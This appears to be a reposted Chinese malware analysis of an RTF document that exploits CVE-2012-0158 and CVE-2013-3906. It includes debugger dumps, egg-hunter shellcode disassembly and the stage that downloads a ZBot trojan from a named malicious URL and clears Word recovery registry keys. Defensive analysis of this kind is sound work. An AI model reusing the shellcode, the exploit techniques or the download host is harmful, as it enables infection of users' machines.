Office”组合”式漏洞攻击样本分析

by hcl, nine8 of code audit labs of vulnhunt.com

1 概述

网上公开一个疑似CVE-2014-1761的RTF样本,翰海源分析发现该样本并非CVE-2014-1761,而是在一个RTF样本中同时包括了两个漏洞,分别为CVE-2012-0158和CVE-2013-3906,比较特殊。

昨日,macfee在其Blog上也公布了一篇一个RTF样本包含CVE-2010-3333和CVE-2013-3906两个漏洞的文章。两个样本比较相似。

2 样本分析

2.1 漏洞CVE-2012-0158

1) 如果没有安装0158的补丁,在堆喷射后,会首先触发0158漏洞,拷贝0xF00字节栈溢出后,通过覆盖返回地址实现利用

eax=00121700 ebx=0b7a00e0 ecx=7c93003d edx=0ef10020 esi=08ece6bc edi=00000000
eip=275a2738 esp=001216dc ebp=00121708 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
MSCOMCTL!DllGetClassObject+0xb451:
275a2738 e863fdffff      call    MSCOMCTL!DllGetClassObject+0xb1b9 (275a24a0)
 
0:000> dd esp
001216dc  00121700 0b7a00e0 00000f00 00000000
001216ec  08ece6bc 0b7a00e0 6a626f43 00000064
 
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00121708 275e727b 08ece6bc 0b7a00e0 00000000 MSCOMCTL!DllGetClassObject+0xb451
00121730 275e75c2 08ece6bc 0b7a00e0 0b7a00e0 MSCOMCTL!DLLGetDocumentation+0xcf1
 
0:000> p
eax=00000000 ebx=0b7a00e0 ecx=7c93003d edx=00140608 esi=08ece6bc edi=00000000
eip=275a273d esp=001216dc ebp=00121708 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0xb456:
275a273d 8bf0            mov     esi,eax
 
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00121708 27606efe 4a454247 42474642 275f4a62 MSCOMCTL!DllGetClassObject+0xb456
00121754 275e0d69 00040110 00010000 00010000 MSCOMCTL!DllUnregisterServer+0x6ec6

2) Shellcode不存在ROP,漏洞触发成功后,jmp esp跳转到栈上的Egg Hunting的前半段Shellcode,通过内存遍历搜寻Flag为的0×78784747、0×78784747、0xE3E3ACAC的Egg Hunting的后半段Shellcode。

3) 0158对应的样本object如下

2.2 漏洞CVE-2013-3906

1) 如果安装了CVE-2012-0158的补丁,那么在堆喷射之后,TIF的StripByCounts的第9个value为0xFFFF00B2,导致与其他value累加之后整数溢出,导致了堆溢出,覆盖vtable,直接call到0a0a0a0a的堆喷射区域,执行shellcode。

2) 通过ActiveX12.bin堆喷射的Shellcode与0158的基本一样,解密后内存搜寻相同的Flag,寻找Egg Hunting的shellcode的后半段

3) 喷射的shellcode如下:

0a0a0a0e ebc0            jmp     0a0a09d0
0a0a0a10 0a0a            or      cl,byte ptr [edx]
0a0a0a12 0a0a            or      cl,byte ptr [edx]
 
0:000> u 0a0a09d0
0a0a09d0 43              inc     ebx
0a0a09d1 43              inc     ebx
0a0a09d2 43              inc     ebx
0a0a09d3 43              inc     ebx
0a0a09d4 43              inc     ebx
 
0a0ffad4 31db            xor     ebx,ebx
0a0ffad6 6681cbff0f      or      bx,0FFFh
0a0ffadb 43              inc     ebx
0a0ffadc 6a08            push    8
0a0ffade 53              push    ebx
0a0ffadf 8b442408        mov     eax,dword ptr [esp+8]
0a0ffae3 ffd0            call    eax
0a0ffae5 85c0            test    eax,eax
0a0ffae7 75ed            jne     0a0ffad6
0a0ffae9 b847477878      mov     eax,78784747h
0a0ffaee 89df            mov     edi,ebx
0a0ffaf0 af              scas    dword ptr es:[edi]
0a0ffaf1 75e8            jne     0a0ffadb
0a0ffaf3 af              scas    dword ptr es:[edi]
0a0ffaf4 75e5            jne     0a0ffadb
0a0ffaf6 813facace3e3    cmp     dword ptr [edi],0E3E3ACACh

4) 样本中对应的压缩流及TIF如下:

2.3 Egg Hunting Shellcode

1) 通过URLDownloadToFileA从http://alienstub.com/ticket/coke.exe下载ZBot木马到如下路径:

C:\DOCUME~1\当前用户\LOCALS~1\Temp\..\Application Data\Microsoft\Windows\spoolsv.exe

2) 同时会清除注册表的如下键值,以防止用户在此运行后出现文档错误恢复或安全模式运行等。

Software\Microsoft\Office\[Version]\Word\Resiliency\DisabledItems

Software\Microsoft\Office\[Version]\Word\Resiliency\StartupItems.

3) 搜寻标记为0×78784747、0×78784747、0xE3E3ACAC, 对应样本Object为:

3. 恶意程序

下载执行的恶意程序为ZBot木马,可以访问我们翰海源的B超系统,来查看该木马的详细行为细节:

https://b-chao.com/index.php/Index/show_detail/Sha1/C09D8EC529773CBE4C5E351DC0ABD4724E2DCF3C

4. 参考

http://blogs.mcafee.com/mcafee-labs/rtf-attack-takes-advantage-of-multiple-exploits

http://blog.vulnhunt.com/index.php/2014/04/04/office%E7%BB%84%E5%90%88%E5%BC%8F%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2014-04-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏BioIT-TECH

癌症中克隆种群结构统计推断分析软件PyClone安装小记

PyClone 是一种用于推断癌症中克隆种群结构的统计模型。 它是一种贝叶斯聚类方法,用于将深度测序的体细胞突变集分组到假定的克隆簇中,同时估计其细胞流行率(p...

7692
来自专栏逍遥剑客的游戏开发

Nebula3学习笔记(7): 网络系统

1956
来自专栏云霄雨霁

同步工具类

1584
来自专栏吴老师移动开发

[Flutter]使用顶部切换导航TabBar

目前移动开发tab切换是一个很通用的功能,Flutter 通过Material 库提供了很方便的API来使用tab切换。

2K2
来自专栏ml

ijg库解码超大型jpeg图片

1. ijg库解码超大型jpeg图片(>100M)的时候,如何避免内存溢出。        采用边解码边压缩的策略,每次解码一行或者若干行图片数据,然后对于这些...

4048
来自专栏SeanCheney的专栏

Python模拟登陆 —— 征服验证码 2 B站

B站的登录密码用了rsa加密(两个大质数的乘积很难进行逆向分解,所以可以用这个乘积来做公钥)。 所以运行py文件之前,使用镜像,先用pip安装rsa库: pi...

4036
来自专栏java 成神之路

硬盘基本知识(磁头、磁道、扇区、柱面)

45210
来自专栏向治洪

Android 增量更新和升级

在年初的时候,尝试了一把热修复技术,当时选择的是阿里的andfix,使用起来也很简单,这里就不在多少,如果你对andfix有兴趣请链接:点击打开链接。虽然网上将...

6209
来自专栏逆向技术

PE格式第三讲扩展,VA,RVA,FA(RAW),模块地址的概念

          PE格式第三讲扩展,VA,RVA,FA的概念 一丶VA概念 VA (virtual Address) 虚拟地址的意思 ,比如随便打开一个PE...

3085
来自专栏大数据挖掘DT机器学习

利用Python绘制MySQL数据图实现数据可视化

第1步:确保MySQL已安装且在运行 安装教程: 亲测:MySQL安装与python下的MySQLdb使用(附软件与模块包) 第2步:使用Python连接...

8166

扫码关注云+社区

领取腾讯云代金券